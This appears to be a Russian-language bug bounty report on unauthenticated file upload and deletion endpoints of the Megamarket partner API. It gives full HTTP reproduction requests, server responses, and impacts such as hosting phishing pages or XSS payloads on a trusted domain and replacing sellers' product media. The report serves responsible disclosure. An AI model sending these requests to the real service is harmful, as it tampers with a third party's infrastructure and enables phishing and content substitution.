Загрузка данных



partner.megamarket.ru

Где обнаружено
POST https://partner.megamarket.ru/api/merchantAssortmentUIService/v1/merchantAssortmentService/s3/upload
POST https://partner.megamarket.ru/api/merchantAssortmentUIService/v1/merchantAssortmentService/s3/remove
Загруженные файлы публикуются на:
https://merchant-assortment.sbermegamarket.ru/content-images/
Описание уязвимости
Эндпоинты загрузки и удаления файлов merchant-assortment доступны без авторизации. Сервер не проверяет ни сессию, ни принадлежность merchantId, ни права на операцию.
Через s3/upload атакующий загружает произвольный файл и получает публичный URL на доверенном домене merchant-assortment.sbermegamarket.ru. Загруженный файл немедленно доступен по прямой ссылке без ограничений.
Через s3/remove атакующий удаляет файл по известному URL.
Проверка проводилась на тестовом PNG 600x600 с фейковым merchantId. Реальные товары и данные продавцов не затрагивались.
Шаги воспроизведения
Отправить запрос на загрузку файла без cookies и Authorization:
http
POST /api/merchantAssortmentUIService/v1/merchantAssortmentService/s3/upload HTTP/1.1
Host: partner.megamarket.ru
Content-Type: multipart/form-data
X-BugBounty: 13f80db7-5467-4f5c-b64e-abe4ea560d45
merchantId=9223372036854770000
offerId=rhamz-test
attributeName=URL ОСНОВНОГО ФОТО
file=@test.png;type=image/png
 
 Сервер возвращает:
 json
 {
   "success": 1,
   "data": {
     "url": "https://merchant-assortment.sbermegamarket.ru/content-images/[hash].png"
   }
 }
Проверить публичную доступность файла:
 GET /content-images/[hash].png HTTP/1.1
 Host: merchant-assortment.sbermegamarket.ru
Сервер возвращает 200 OK, файл доступен без авторизации.
Удалить файл:
http
POST /api/merchantAssortmentUIService/v1/merchantAssortmentService/s3/remove HTTP/1.1
Host: partner.megamarket.ru
Content-Type: application/json
X-BugBounty: 13f80db7-5467-4f5c-b64e-abe4ea560d45
{
"data": {
"merchantId": "9223372036854770000",
"offerId": "rhamz-test",
"attributeName": "URL ОСНОВНОГО ФОТО",
"url": "https://merchant-assortment.sbermegamarket.ru/content-images/[hash].png"
},
"meta": {}
}

Сервер возвращает `{"success":1}`. Файл удалён.

## Влияние на безопасность

- Загрузка произвольных файлов на инфраструктуру Мегамаркета без авторизации
- Получение публичных URL на доверенном домене `*.sbermegamarket.ru`
- Возможность размещения фишинговых страниц, вредоносного контента, XSS-пейлоадов
- Использование инфраструктуры Мегамаркета как CDN для атакующего
- Удаление загруженных файлов без авторизации
- Потенциальная подмена медиа-файлов товаров продавцов при известных offerId и URL
- Загруженный контент обслуживается с легитимного домена, обходя блокировки и фильтры